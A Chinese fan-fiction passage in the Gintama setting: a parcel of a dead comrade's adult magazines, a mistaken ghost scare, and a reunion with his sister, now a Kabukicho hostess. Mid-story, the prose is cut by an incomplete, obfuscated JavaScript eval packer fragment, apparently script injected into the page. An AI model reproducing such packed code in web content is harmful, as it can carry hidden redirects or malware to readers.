《鞭子与砂糖缺一不可》 1. 战场上的承诺就是男人的浪漫 一切的一切,都要从那天坂田银时收到的大人的刊物说起。 一个平凡的下午,百无聊赖的万事屋老闆躺在长椅上翻阅着刚到手的Jump。翻到一半,他忽然觉得鼻子发痒,便开始挖起鼻孔来。 就在故事的剧情即将进入高潮之际,门铃突然响了起来。 他不耐烦地喊了几声神乐的名字,但同住的少女并未有回应,她早就和朋友约好出门了,整个房子里只剩下他一个人。 最近万事屋的生意不错,昨天他难得地还清了前两个月的房租,所以他几乎可以确定来者不是楼下那几个总来讨债的女人。 也不可能是订报纸或是送牛奶的,他前阵子已经把这些推销员都拒绝了一轮,还放了风声出去,说万事屋最近穷得响叮咚,无论牛奶还是报纸都是偷楼下登势屋的。 看来,这个不速之客就只能是客人了。 坂田银时叹了口气,不情愿地从长椅上爬起来,拖着脚步走向大门,边走边碎碎念地抱怨。 不过有生意当然比没生意来的好。 可惜的是,门外站着的不是什么上门财神,而是一个捧着大纸箱的快递员。 更糟的是,他带来的还是个邮费到付的邮件。 看着那个包裹,银时有点懊悔自己刚才开了门。 他随意应了几句,然后回屋拿了钱和印章,不情愿地收下了邮件。他掂了掂箱子的重量,还挺沉的。要不是收件人写着他的名字,他还以为这是神乐看电视购物乱买的垃圾。 他仔细检视包裹上的寄件人资料,名字一栏写着:浅井将辉。 他努力回忆这个名字,最后终于在记忆深处找到一个模糊的身影。 「啊…这不就是那个妹控吗?」 银时猛地转身,惊愕地望着那个擅自闯入他家的竹马。 「你怎么会在我家?」 「刚才你出去买Jump的时候,家裏没人,所以我就先进来了。」桂小太郎若无其事地说,丝毫不觉得这有什么问题。 银时脸颊的肌肉微微抽搐了几下,眼睛瞪得圆圆地盯着桂,脑中盘算着是否该拿手上的包裹砸向这个不速之客。不过他很快就冷静下来,眼前还有更重要的事情要处理。 浅井将辉、妹控。 当这两个名字连在一起时,坂田银时脑海中那个模糊的身影渐渐清晰起来。 他好像真的认识一个叫浅井将辉的人。 是个平日总是笑脸迎人,在战场上却异常冷静的男人。要真说起来,将辉和辰马那傢伙的人设有部分重迭,同样都是大气豪迈、心肠软、家境有点份量的,最重要的是他们都把「风流」这两个字发挥的淋漓尽致,总喜欢在休战的时候拉大队逛花街。 而他们最大的不同,就在于浅井总是在胸口收着一张全家福,而且每次聊天几句就会提到自己的妹妹。 是个很爱家庭的妹控。 「我记得了,那个妹控…」 战争中后期,双方战力开始涣散。某次休战整顿时,他们正好在浅井将辉的外公(津田)家附近扎营,他便提议让坂田银时一行人前去作客。 既然是大少爷的家,定是少不了大鱼大肉的,于是他们没多想便答应了下来。 那晚,他们在津田家享用了一顿丰盛的饭菜,还见到了他经常挂在嘴边的妹妹。听説是寺子屋放假,便去了外公家探亲。 女孩叫千茶,但家人都是叫的她小千。那是的千茶看着约七、八岁,和哥哥一样,留着一头柔顺的淡金色长发,眉眼精緻得像个洋娃娃,唯独这一点,不太像她的大哥。将辉笑说整个家就只有自己长得像父亲,两人都是张平平无奇的脸;二弟和小妹则是更像妈妈。 他们的母亲,据说是当时京都一绝的美人,而千茶作爲她唯一的女儿,也从分地遗传到这份美貌。 女孩的眼眸,是清澈纯粹的湖绿色,有如波子汽水里的玻璃珠。她从僕人口中得知哥哥到家的消息,立即抛下课业,提着碍事的衣襬,直奔向门前迎接。一见到哥哥,她的眼睛顿时发亮,随即扑上前紧紧抱住他。 至今,银时依然清晰记得将辉眼中那份前所未见的宠溺与幸福。 他那还是第一次感受到,原来拥有血脉相连的同胞,是这样的感觉。 他们外公是个好客的,除了丰盛的饭菜,还准备了很多上好的酒,当晚就和他们喝了个不醉无归。 那一夜,坂田银时半夜醒来,摸黑找去厕所的路时,意外瞥见浅井将辉独自坐在庭院里发呆。 他说,自己正在考虑是否该从战场上退下来。 在他离家的这段时间裏,排行第二的弟弟因家族内斗,被分家的人下毒,健康每况愈下。他们的一对父母説得好听是心肠软,但説白了就是软弱又怕事。 他们家虽然财力雄厚,不像一般人家要为钱发愁,但名门世家的暗箭却难以抵挡。二弟头脑聪颖,在将辉离家后,自然被默认爲下一任继承人。然而,本就体弱的他在经历一连串算计后,身体虚弱到连最权威的医生都断言他活不过成年。 于是,这个家的希望,只能寄託在年幼的妹妹身上。 对一个未满十岁的孩子来说,这实在太过残酷。 再说,她毕竟也是个女孩子。 儘管在天人的影响下,国家开始提倡性别平等,但像他们这样的世家大族,依然固守着封建的陋习。 也许是想要一个能继承家业的孩子,去年那对笨蛋父母又生了个男孩。为了保护这孩子的性命,他们对外谎称这胎是女儿,这样才让他平安长到一岁。 「我想回去保护他们,但又觉得现在离开战场太过自私。」 「我不懂什么国家大义,之所以参与战争,只是为了守护我最重要的人。」坂田银时仰头看着头顶那轮残月,总觉得有些唏嘘。 「我并不觉得保护家人是件可耻的事…不过这句话从我这个孤儿嘴裏説出来,好像没什么説服力啊。」 将辉听完他的话,像平时一样爽朗地笑了起来,心裏也默默下了决定。 在战力整顿好前,他们在津田家留了一段时间。离开的傍晚,浅井将辉跟着他们一起回到了战场。 他説等他们把下一关攻下,他就回去当他的少主。 却没想过他再也没了回去的机会。 那一仗打得异常激烈,他们拼死支撑到最后,虽然成功重创敌军,但自身也伤亡惨重,无力追击,只能留在原地重整。 将辉为了保护几个被俘虏的孤儿而落在后头,不幸遭到埋伏的敌军袭击,身受重伤。 等他们赶到时,只见他半靠在树下,胸前的衣衫已被鲜血浸透。他脸上依然挂着那抹温和的笑容,手中紧握着那张被尘土染得髒兮兮的全家福。 「替我向小千说声对不起,哥哥回不来了。」 他们把他的尸体送了回津田家,当时也做好了被他的家人指着鼻子痛骂的心理准备。 可是得到的却是女孩的一句「谢谢你们把哥哥送回来,他能有你们这些朋友实在太好了。」 思绪回到现实,坂田银时望着眼前的包裹,眉心一跳。 那个人明明已经死透了,还是他们亲手埋的。 再说,这个包裹不只填了一个死人的名字,还写着他目前居住的地址。银时看向桂小太郎,发现对方也是一脸凝重。 「难道将辉那个妹控的灵魂一直都在我们旁边吗?」他説。 「别说这种恐怖的话啊,假发!」坂田银时打了个寒颤,瞪着一脸认真的桂小太郎。 说实话,这个包裹也确实散发着一股诡异的气息。 二人面面相觑,最后还是决定打开这个可疑的包裹。反正都付了邮费,没拿到裏面的东西岂不是亏大了? 银时战战兢兢地拆开包装,打开却发现里面放着的却是一堆难以启齿的书籍,而且还很贴心地用不同颜色的丝带整齐地分成两迭。虽然用已故战友的名字送礼看起来像恶作剧,但看到里面的内容后,他们反倒相信起这真的可能是出自那个人的手笔。 浅蓝色丝带那迭是各种制服题材的书籍,深蓝色则是NTR和人妻类型,二人截然不同的喜好瞬间具象化。 记得昔日在战场上,他们曾半开玩笑地约定,谁要是先牺牲,就要把私藏的颜色课本当作遗产分给其他人。 不但遵守了约定,还能那么清楚他们喜好… 难道这真的是…… 「你们在干什么?」 两人猛地转过头,只见新八正站在门口。他的目光在两人身上和那堆不可描述的书籍之间来回游移,整个房间的空气瞬间凝结。 「啊...这个...那个...」银时支支吾吾地想解释,却不知从何说起。一旁的桂倒是一脸镇定,解开丝带,三两下就把那些书全塞进和服袖子里。 「我也是时候回去了,再见。」他说着,顺手从桌上抄起一盒面纸,接着开窗一跃而出。 「喂!你把我的面纸顺走是什么意思啊!要用的话自己去买啊混蛋!」坂田银时朝着窗外大喊道。 新八无奈地看着这一幕,心裏轻叹一声。他早已习惯这两人的荒唐行径,但偶尔还是会觉得有些心累。他转过头,刚好瞥见桌上被剩下的书籍时,一张脸顿时红透了。大人的读物对于青春期的小鬼来説,或许还是有点太刺激了。 「那个…银桑…这些书…」新八欲言又止地看着坂田银时。 「啊啊,这些都是遗产!遗产!」银时慌忙地把桌上的书籍扫进抽屉里,心虚地挥着手。 虽然他早就到了能合法购买并持有这些刊物的年纪,但被人看穿喜好还是有些不好意思。 「你这样放的话,马上就会被神乐找到了。」新八提醒道。 「啊,说得对。」银时抓了抓头发,环视四周,最终把目光锁定在上方「那就放在天花板上的暗格里吧,反正那小鬼也不会想到要往上看。」 新八看着银时轻车熟路地搬来梯子,熟练地打开天花板上的暗格,显然不是第一次把东西藏在这裏了。但就在他准备把书放上去时,一个紫色长发的女人从天花板上掉了下来。 「银桑~我...」 等他好不容易把猿飞打包扔出门去,一番折腾下来已经耗掉不少时间。 他小心翼翼地举着书,踩上由新八在旁扶着的木梯子,就在他低头想和对方交代些什么的时候,目光却意外地和门口的神乐对上了。她刚从外面回来,站在玄关处,正好撞见这尴尬的一幕:有个大叔鬼鬼祟祟地捧着些色情刊物,试图把它们藏到天花板上。 神乐的眉头立刻皱了起来,脸上浮现出明显的厌恶表情,用充满鄙视的眼神死死盯着银时。 「喂,你这个废柴大叔,不去找工作,躲在这里偷看这种东西。」神乐一脸鄙视地说「你这样还算什麽Jump男主角,早就主角失格了吧!」 「你这小鬼懂什么!」银时慌忙把书塞上天花「这可不是『那些东西』!这可是珍贵的遗产啊!」 「你给我等等,你从刚才就一直在説什么遗产不遗产的,到底是什么意思?」新八看着一直在胡扯的男人,甚是不解。 坂田银时试着躲避两个孩子的目光,但最终还是失败了。 「就是...刚才有人送来了包裹,里面放的都是以前一个朋友的遗物,然后就是你们看到的这样。」他説着,把拆下来的木板放回去,扶着梯子下来「嘛...始终是别人的遗物我也不好丢掉...」 神乐和新八听完他的解释后,交换了一个眼神,两人似乎不太相信他的说辞。毕竟在他们眼中,老闆平时就不是什么正经人。 「这些书真的是遗物吗?」神乐突然冒出这么一句「我刚才看到假发从窗户跳出去了,他手里还拿着什么东西。」 银时摆摆手,一脸不耐烦地说「那傢伙拿走的都是他的份,你们就别管那么多了。」 「你们该不是一起网购摊运费吧?」 「喂喂,别乱说啊!」银时瞪大眼睛,一脸被冒犯的表情「真的是遗物,而且还是到付的!要是网购的话我才不会选到付呢!」 新八听了只是无奈地推了推眼镜「可是,正常人给人送遗物也不可能会用到付的吧?」 「再说我们都没听你提过有哪个朋友过世了,你该不会为了藏这些书,连自己的朋友也要诅咒吧。」 「在你们心目中,阿银我是那么差劲的人吗?那傢伙真的已经死了,而且都已经过了十年了,当初还是我亲手把他埋进…」他说着,突然顿住,意识到有什么地方不对劲。 银时看着手上的包裹,仔细回想着刚才的话。浅井将辉确实已经死了十年,但这个包裹却是新的,那些书的印刷日期却是由他死那年开始算起,最新的一本更是四天前的出版。 他突然觉得背后一阵发凉,一股寒意从嵴椎一路窜上后颈,彷彿有人用冰冷的手指轻抚过他的皮肤。他下意识地缩了缩肩膀,试图甩开这种不舒服的感觉。 「喂…新八…」银时乾笑了两声,声音有些发抖「你说…会不会是那傢伙从地底爬出来了?」 新八看着银时苍白的脸色,不禁也打了个寒颤。 「别…别开这种玩笑啊,银桑。」 就在这时,一阵凉风从窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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「哈哈哈!」坂本大笑着走进屋内,显然没把他的澄清听进耳内。 「我刚好路过这里,想说来看看给你寄的东西收到了吗。」坂本说。 银时瞬间僵住了,不消一会便立刻反应过来。 「所以说…那些小黄书是你寄来的?」 「哈哈哈!没错啊!」坂本説着,走过去拍了拍他的肩膀「前几天和小千见面了,她説家裏还留着将辉给我们留的遗物,让我有空去处理一下,于是我便跟着她回家拿了。不过我接着还要去谈生意,拿着那么多东西去好像不太方便,便让快递公司帮忙送了。」 坂本的解释让银时松了一口气,但更多的却是不爽。 「那你为什么要用到付的方式?让我白花一笔还白担心了。」 正因爲从地底爬出来的「人」身上不会有人间使用的现金或信用卡,因此无法支付运费...正正是因爲这麽一个脑洞,所以才让他对将辉的「遗物」更加疑神疑鬼的。 「哈哈哈!抱歉抱歉,我当时没带现金在身上。」坂本毫无歉意地讪笑着,完全无视银时越来越黑的脸色。 「我看你是没带脑子吧。」银时咬牙切齿地说道「你知不知道我们差点以为那傢伙从坟墓里爬出来了?」 「我怎么会知道你们会想那么多啊!」坂本理直气壮地说,丝毫没有察觉到周围低迷的气氛。 「对了,假发还未过来吗?我昨天明明给他打了电话,让他过来拿东西。」他説着,掏出手机准备给那个人再打一个电话。 难怪那傢伙刚才一点也不意外! 银时愤愤地瞪着坂本「这种事你应该先告诉我啊!为什么把东西寄我家只跟他说?害我们在这里吓得半死,我要是被吓死了,保险金也不会写你的名字,你一分钱也别想拿到!」 「你也太紧张了吧,那傢伙要是真的能从坟墓里爬出来,第一个找的肯定是他妹妹啊!」 「喂!别拿死人开这种玩笑!」 「不过既然那个人在十年前已经死了,为什么还会有四天前出版的杂誌?」 坂本听到新八的问题后冷静下来「啊…是这样的,小千一直在帮将辉订阅那些杂誌。她说虽然不太合她的口味,但因为是将辉生前最喜欢的东西,所以一直都没有取消。」 「不过那些杂誌积累了这么多年,家里应该也放不下了吧。」新八若有所思地说道。 「是啊,所以她才想把这些分给我们。」坂本难得正经地回答「毕竟这也算是将辉留给我们的回忆了。」 新八觉得有很多地方都想吐槽,但一时间也说不出个所以然来。 「我和小千可是用了一整晚上才勉强分类好了」坂本摸着下巴,认真地回忆着「每一期都好好保存着呢,看来小千真的很用心。」 「你让个小女生和你一起看这种书,不怕遇到FBI吗?」 「都多少年了,小千已经不是什么小女孩了,那边几本R18还是她自己去买的。」坂本辰马反驳道。 「大人们还真是肮髒。」神乐刚才还是一副小学生的好奇模样,现在就像个PTA一样,严肃地瞥了眼桌子上没有放上去的几本R15,啧着嘴摇了摇头。 新八在一旁听着,也不禁扶额「你们就不能找点正常点的东西怀念他吗?」 「你不懂了,这就是最真实的将辉啊!」坂本笑着拍了拍新八的肩膀。 「不过説起来小千真的越来越漂亮了,我现在完全可以理解到那傢伙为什么会成为妹控。」 「喂喂,你这傢伙别在这里谈论人家妹妹。」银时无奈地摇了摇头 「我知道我知道。」坂本摆了摆手「将辉要是知道有人这样谈论他妹妹,估计真的会从坟墓里爬出来吧。」 「不是说了别开这种玩笑吗!」 正当他们打闹之际,坂本的手机响了起来。他瞄了一眼来电显示后便按下接听「喂,小千吗?」 「对啊。」坂本一边应着电话,一边朝银时和新八眨眨眼睛「我正在万事屋这边呢。啊?那些书吗?我已经给他们送过来了。」 银时看着坂本若无其事地在他耳边讲着电话,顿时有种无力感。 「你打电话能不能小声一点?而且你什么时候和人家小姑娘这么熟了?」银时不耐烦地大声喊回去,更有种想要喊到电话另一边都能听见的刻意 坂本一掌推开了他的脸,继续专注于电话那头的对话,直到断线才松开手。 「抱歉了,金时。我得先走了,我答应了小千去她店喝酒。」 「她店裏?」 「她现在在歌舞伎町的店裏工作,你不知道吗?」 「我在这裏住了那么多年也完全没听说!」 「那你们要一起来吗?」 2. 妹妹並非都是女孩子 坂田银时记忆中的浅井千茶,是个身穿华服、留着一头姬发的小女孩。 无论是言语措辞,还是举手投足皆无可挑剔,让人难以想像她也不过是个未满十岁的小女孩。据她哥哥所说,她每天从寺子屋下课后,还得上数之不尽的课堂,像是诗词歌赋这些自是必须的,此外还有着插花、茶道、古乐等被视爲大家闺秀必学的雅兴。 这种大人们用来攀比、撑门面的玩意,小孩子可不会喜欢。 这对千茶来说,自然也不例外。 比起那些沉闷的课堂,她更喜欢当哥哥的小尾巴,穿着哥哥们松松垮垮的旧道袍,学着他在道场挥剑、听他分享在战场的二三事。 将辉不愿让她过早接触这些超出年纪该承受的事,但每当看见千茶那双闪着星光的眼眸,拒绝的话便一句也说不出口。 「我妹妹长得那么漂亮,在乱世中我怕护不住她。」 这就是浅井将辉参战的原因。 他想结束这场战争。 并非出于大义,只是为了保护他重要的家人。 后来,这句话成了他们的笑谈,即使他已不在人世,提起他时依然笑称他是个妹控。 但他的话一点都不错。 战争结束后,各地大名为了自保和巩固地位,纷纷向幕府要员和皇家献上自己的女儿。这种情况在江户时代其实并不罕见,许多大名都会透过联姻来互相牵制、结盟,以维护自身的利益和地位。这些被献上的女儿们,有的成为大臣的侧室,有的则嫁入皇家。 像商品般被轻易送出,终其一生被困在那座小小的府邸之中。 于浅井家,年幼的千茶便是整个家族倾尽心血培养的商品。 坂田银时虽然对京都那些世家不太了解,但她如今在歌舞伎町工作,就说明她已经摆脱了那个囚牢。 那挺好的。 自上次见面以来,已过了十年之久。女大十八变这句话果然说得不错。 当年的小妹妹,如今已是个亭亭玉立的少女。 幼时的轮廓虽然也能看出几分美人胚子,但当他看到眼前明媚的美人时,仍难以置信地拉过坂本辰马,在他耳边小声问道「这个女的是谁?」 「刚才不就跟你説了吗?这是小千啊。」 从前的小千,现在该更正式地称呼为千茶小姐了。 银时尝试将眼前的少女与记忆中的形象重迭,确实能看出几分相似。 她的眼睛如湖水般带着蓝调的浅绿,微微上扬的眼尾透着一丝柔媚。白皙的皮肤在灯光下,有如夜兔族般通透。 淡金色的长发高高束起,发尾染上渐变的深茶色。柔顺的齐刘海贴服在前额,耳际垂落的几缕发丝随动作轻摆,更添几分柔美。她的个子虽不算高挑,但脚下的高跟靴子让她比旁边的女孩子还要高出一些。 她身穿一袭经过改良的新式和服,深紫色的大领口垂至肩膀,内搭黑色盘扣的无袖内衬,优雅地露出双肩。和服下襬採用前短后长的设计,衬托身材曲线的同时,也让她的身形比例看着更修长。 在Smile里,她的打扮与其他女孩相比显得有些格格不入,但店里的人似乎并不在意,毕竟他们已经有个一直穿着巫女服的头牌了。 千茶正在不远处的卡座接待着客人,她朝旁边的黑服挥手示意,熟练地点了一瓶价值不菲的香槟。身旁的客人似乎已经醉意上头,说话的声音也渐渐变大。他一边说着不着边际的话,一边慢慢地把手搭在她纤细的腰上。 她脸上没有流露出丝毫不悦。相反地,她维持着一贯的笑容,娇嗔地轻轻推了几下男人的肩膀,乘机与对方拉开距离。接着拿起桌上的酒杯,装着赌气要离开。 男人以为她是在欲拒还迎,伸手想抓住她的手腕作挽留,却被她及时避开,顺势将耳边垂落的一缕发丝掠到耳后。她微微弯下腰,在他耳边轻声说了句话。碍着距离,他们都听不见她説了什么,但男人的眼睛却因在瞬间亮了起来,举在半空的手讪讪地收回,随后也不再阻拦她离去。 她向同桌的客人和同僚示意后,拿起自己的酒杯,准备回到休息室稍作整顿。就在她回去的路上,眼尾的馀光刚好瞥见另一边卡座上的坂田银时和坂本辰马。她随即停下脚步,转了个方向去给他们打招呼。 「辰马先生!谢谢你特意过来找我呢~」她绕到坂本辰马的旁边,甜甜地说着,声音听着比银时记忆中要成熟了许多。 似是感受到对方的目光,她立即转头去看另一边的银发青年,脸上灿烂的笑容让人移不开眼。 「这是银时先生吗?好久没见了。」 银时愣了一下,然后有些侷促地点了点头。 虽然他平日在外喝酒时都不怎么排斥女孩子的亲近,但当对象是旧友的家人时,他却感到一种难以言喻的不自在,甚至莫名地带着几分罪恶感。 「再等我一下,我去补一下妆再回来。」她説着,便拿着酒杯回到了休息室。 目送她离去的背影,银时不禁陷入回忆。 眼前这爲自来熟的公关小姐,与记忆中那位沉稳早熟的大小姐简直是判若两人。 若说小时候的她,被世家大族的枷锁拘束着,只能满足大人的期望,被迫装作一个完美无瑕的商品;现在的她则是在看透大人社会的複杂后,心甘情愿地戴上了一层厚重的面具。 他转头看向坂本,想从能从他的脸上找到一丝类似共鸣的情绪,但他只是悠然地品着酒,彷彿这一切对他来说再平常不过。 银时在歌舞伎町生活了那么多年,而且也在公关界有不少熟人,对这个行业并无半点偏见,但在普遍世人眼中,歌舞伎町的工作确实被视为难登大雅之堂,更莫说在那些世家大族眼裏,从事这种职业的男女更是离经背道。 「喂,那孩子是怎么回事,为什么会来了歌舞伎町?」他最终还是忍不住打听。 「好像説是不想嫁人,所以带着两个妹妹离家出走,辗转下就来了江户讨生活。」 「这样啊…那她家裏人知道她在这裏工作吗?」 坂本垂着眼睛,晃了晃手裏的酒杯「她的父母已经不在了,津田先生也在几年前离开了。」 银时听见后沉默了一会儿,也因着他的话想起了那位幽默豪爽的老人。当年外孙带着朋友来访时,他可是拿出了万二分的热情与酒水来招待。 将辉为了参战与浅井家断绝关係后,唯有外祖始终坚定不移地支持着他,甚至连去世后,也只能葬在了津田家的墓地。 母系的津田家是当地的武家名门,而父系家族则据闻是更大的世家。那种地方都是吃人不吐骨的,一个适婚年龄的孤女,对那些狐狸来说,简直是天赐的礼物。 「一个人带着两个妹妹啊…」 银时脑海中浮现起浅井将辉説过的家族秘辛,陷入了思考。 「一个十二岁,一个五岁,都是难搞的年纪呢。」坂本也跟着感叹到。 「你们在谈茶茶的事吗?」一道耳熟的声音从身后传来。 转过头,只见志村妙站在那里,眼神略带担忧。 茶茶是千茶在店里使用的源氏名。阿妙本想过来跟熟人打声招呼,却无意中听到了同事的私事。 「啊,阿妙小姐啊。」坂本马上换上一张笑脸,和她打了声招呼。 「抱歉,我刚才听到你们聊天了。原来你们和茶茶也认识吗?」 二人对视一眼,最后银时摸了摸脑袋,认了下来「算是吧,我们和他大哥关係也不错。」 「要是按你们刚才那样说,那孩子过得也挺不容易的...」阿妙说着,目光轻轻飘向休息室的方向「茶茶平常工作很麻利,虽然来了不久,已经有了稳定的客群。他们都很捨得给她花钱,一天至少能卖四五瓶贵酒呢...」 说到最后那句话时,他们从她的语气中听出一丝不自然的酸涩,微妙的情绪在字里行间若隐若现。 女人的妒忌心真强呢…他们在心中暗暗感叹着,阿妙没有理会他们,仍在继续説。 「不过她确实很懂人情世故,就算她的营业额远超其他女孩子,店裏几乎没有人讨厌她。店长都说她是天生就适合这行的人。」 「嘛嘛,毕竟是在那种环境长大的嘛。」坂本说着有点感慨,银时这才想起他也是个出身富贵人家的少爷,正犹豫着要不要说些安慰的话,就听见他又爽朗地大笑起来。 「要是那个妹控知道她现在在当公关肯定会气炸,説不定会从坟墓裏爬出来哈哈哈哈。」 「你今天到底想让他从坟墓里爬出来几次啊?!」 银时看着那个笑得乐不可支的傢伙,叹了口气。他正想説些什么,就看到千茶从休息室走了出来,手上更拿着瓶价钱不菲的酒。 「喂喂喂…我们可没点那么贵的酒。」银时的穷鬼警报马上响了起来,刚才的拘谨也被他给短暂忘记了。 「这瓶是我请客的。」千茶边说边将酒放到桌上,转头看向旁边的阿妙道「既然小妙和两位都认识,不如小妙也一起坐下来喝一杯?」 阿妙看着现在客人不多,于是便也应了下来。再说有坂本这个大客户在这里,她也绝对不会亏。 千茶熟练地替每个人斟了酒,随后在银时身旁坐下。银时瞥了瞥身边的女孩,冷静过后总觉得浑身不自在,就像亲戚聚会时坐在只见过一面的表妹旁边那种感觉。 他端起酒杯喝了一口,本来他们就没什么交集,只是在她小的时候见过几次,便乾脆没説话。 坂本向她们问起了小良的值班时间,得知她最近都在休假时,马上摆出一张失落的脸。 「那我岂不是要等很久才能见到她了?」坂本夸张地抱怨着,一旁的千茶掩嘴轻笑。 「説不定人家是在避开你呢。」她打趣道。 「小千还真冷漠呢。」 「就说了不要在这裏喊我本名。」她似笑非笑地瞪了他一眼。 「抱歉抱歉。」坂本辰马笑着举起双手,摆出一个投降的姿势「茶茶对吧。」 她点了点头,然后看向银时「对了,我听説银时先生在歌舞伎町住了好久,平时也是经常过来喝酒的吗?」 马上就来了,那种亲戚聚会上为了装熟而刻意找话题的寒暄。 「偶尔会来喝一次吧。」银时説着,伸出食指指了指阿妙「这傢伙每隔一顿时间就会让我们过来给她提生意额。」 阿妙听到这话,不满地瞥了他一眼,假装调笑地一掌打在银时的手臂上,脸上仍然是满满的笑容「真是的,说什么呢。」 千茶就像没看见银时手臂上冒出的白烟一样,感叹着起来「你们关係真好呢。」 银时抱着手臂的伤处低吟,正想找机会吐槽,阿妙却像是想起了什么,打断了他。 「对了,茶茶你最近不是説想找人帮忙搬家吗?」 千茶点点头。 「银桑在这附近经营着万事屋。你可以请他们帮忙,反正他们最近也没生意。」 「万事屋?」 「嗯...我们万事屋只要有钱的话,什么都都会干。」银时坐直身子,一边揉着手臂,一边解释。 「哦?」千茶露出感兴趣的神色,眼睛微微发亮「那就麻烦你们了。」 「喂喂,我还没答应呢。」 但当他看见千茶闪闪发亮的眼睛,却又不忍心直接拒绝「什么时候?」 「下週末的话可以吗?」 「可以是可以。」银时説着抓了抓头发「不过要先付定金哦,毕竟我们也是要吃饭的。」 阿妙听见后不禁失笑,嘲讽地开口「説得你有给新八付薪水似的。」 银时装作没听见,低头喝了一口酒,然后转移话题「所以,搬家是搬去哪裏?」 「就在这附近。我一直在找3LDK的房子,前阵子刚好遇到一间,租金比现在住的地方还便宜,而且也很近妹妹们的寺子屋,所以便决定搬过去。」 「我记得你现在住的公寓是1LDK吧,怎么会有比这更便宜的3LDK?」阿妙怀疑地问道「 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坂本辰马也跟着点点头「确实呢,1LDK的价钱都不用,就能住到3LDK,这绝对是我听过最划算的生意之一。」 阿妙茫然地眨眨眼睛,和银时一样对这两个人的心大感到难以置信。虽然平常很少表现出来,可是她对于灵异现象也是敬而远之的,实在无法理解这两个人怎么能把搬进闹鬼房子当作日常琐事一般讨论。 这时候应该吐槽,而不是认同吧?! 「到时候就拜託你了,银时先生。」千茶合十双手,摆出一个拜託的姿势。 「喂喂,等等!」银时一脸惊恐地挥着手「你们是认真的吗?那种地方怎么可以住人啊!」 「很认真啊。」千茶漫不经心地说道「妹妹们都说有自己的房间就满足了,而且房东也承诺如果真的受不了可以随时解约。」 「那个不是重点吧!这个明显就是鬼屋了吧!」银时抓狂地説「你们知不知道鬼屋是什么意思啊!」 再説,能让房东作出这样的承诺,即是説明连房东本人也承认裏面是有些什么吧!还让他去帮忙?开什么玩笑?! 「鬼屋就是有着不为人知的过去,而且很可能还有不乾淨的东西在裏面的房子啊!」没等来她的回应,银时倒是先一步自问自答了。 「先不説其他,你是晚上工作的,让两个孩子在间闹鬼的房子待着没关係吗?真的没关係吗?!」 阿妙也少有地和应着他「大家都是女孩子,住一个房间也没关係吧,真的想要大一点的房子的话,再慢慢找吧。」 千茶点点头以示理解,只不过她还是坚持着一开始的想法「嘛….我家的情况是比较特殊…」 ——为了躲过族内的内斗,父母决定把新生的弟弟当女孩子养。 这是将辉生前曾经和他们提及过的。 银时沉默了半晌,试着组织脑海裏的字句。 「你家的…妹妹…我以前好像听你哥说过一点……两个也是那种状况吗?」 千茶看向他的眼神瞬间闪过一丝警惕,但在其他人注意到前便消散了。然而,久经沙场的白夜叉还是捕捉到了那个与眼前少女气质不相符的眼神。 这个小女生到底是什么一回事? 坂田银时望着陷入沉默的少女,只见她在众人的目光下轻轻点了点头。 「是的,所以我们家的确需要多点个人空间。」 这次,他没有继续反驳她,毕竟以她现在的年纪,的确不适合和两个成长期的弟弟共处一室。年纪大的那个现在算起来也是正值青春期了,而青春期的男孩子总是需要些私人空间——比如藏些小黄书什么的。 但仔细想想,他们好像也不需要藏什么小黄书,毕竟面前的女人可是按着他们各人的口味,送了一堆不同类型的保健体育教材给他们。能在这样一个藏书丰富的家裏居住,她那两个弟弟恐怕是全江户最幸福的男孩了。 一想到自己的癖好被一个不熟的妙龄少女完全看穿,那种难以言喻的不自在感又涌上心头。 坂本对他们打的哑谜不以为意,似乎早已知晓她家的情况,只有阿妙一人摸不着头绪。 「就是些有钱人家的家族秘辛,知太多会倒霉的」银时跟阿妙解释道「你还是别知道来的好。」 阿妙听后点了点头,虽然还是不太明白,但也知都别要过问别人家事的道理。 她喝了口酒,下定决心后看向千茶「既然妳已经决定了,我也不再劝了。不过,要是妳住进去后发现房子真的有什么异常,随时都可以来我们道场暂住。虽然道场现在还在翻新中,有些地方确实比较旧...」 「谢谢你,小妙。不过既然陆奥都说过没问题,应该不会有什么大事。」她顿了顿,又补充道「再说,就算真的遇到什么不乾淨的东西,不是还有万事屋会来帮忙吗?」 银时听了这句话,赶紧摆手撇清「喂喂,我可不是什么除灵师啊。」 「但是银时先生不是会帮人解决各种事情吗?」千茶歪着头问道,脸上带着狡黠的笑容,大概是注意到他听见和鬼有关的词语是,脸上的表情便会变得绷紧。 「这种事去寺庙找和尚,别来找阿银!」他撇着关係,飞速运转的脑袋又浮现出一个身影「对了!你们的同僚不就有一个巫女吗?去找她帮忙!」 「这样説是没错,但…」千茶説着,眼睛笑笑地看向阿妙「我可是坚定的小妙派呢。」 阿妙听了这话,脸颊微微泛红,害羞地轻拍了下千茶的肩膀「茶茶真会说话呢。」 在场的都是人精,怎会不知道他们是在演小剧场。 但有一件事倒是千真万确:在女人的友谊中,和朋友的死对头当朋友是大忌,有时候光是跟对方说上几句话都会被视为背叛。 「你们这些女人真是麻烦死了。」银时边抱怨着,边喝完了杯子里最后一口酒。 千茶也没闲着,殷勤地给他又倒了一杯酒「那么週末就麻烦你了,银时先生。」 3. 人生总会遇上一两个让人讨厌不来的渣男^^…… 自从开始在宇宙营商,坂本辰马与许多昔日战友失去了联络,有些在战争牺牲了,剩下的人并不是谁都理解他的做法,作为其中一位主力,在战争的中途离开地球,与他们厌恶的天人做生意。 在离别前,他除了和并肩作战的战友们一起喝到烂醉,还独自前往探望一位已逝战友的家人,作最后的道别。 「这样啊…那麽你下次回地球的时候,可以给我带礼物吗?」 她的哥哥是被天人杀死的,可是她在听完他的计划后,只是这样淡淡説了句。 「当然没问题,你想要什麽?」 「我想要一个漂亮的刀鞘。」 「剑鞘啊……好啊,这张订单我接下了。」 后来,他认识了陆奥,二人一起创立了快援队。儘管在宇宙中航行的日子里,他们经过了无数星球和市集,但他始终未找到一个合心意的刀鞘。每次看到的不是嫌做工太粗糙,就是觉得太重,不适合女孩子佩戴。他对刀鞘如此挑剔,让陆奥一度怀疑他除了在外面花天酒地外,在地球上还藏着一个本命。 直到有一天,他在一个遥远星球的古董拍卖场裏,遇到了令他一见锺情的刀鞘。它是由一种罕见的淡蓝色星际金属铸造,表面刻满了繁複细緻的花纹。金属在灯光下闪烁着柔和的银光,就似满月时的月光,大小也恰到好处,给少女佩戴也合适。 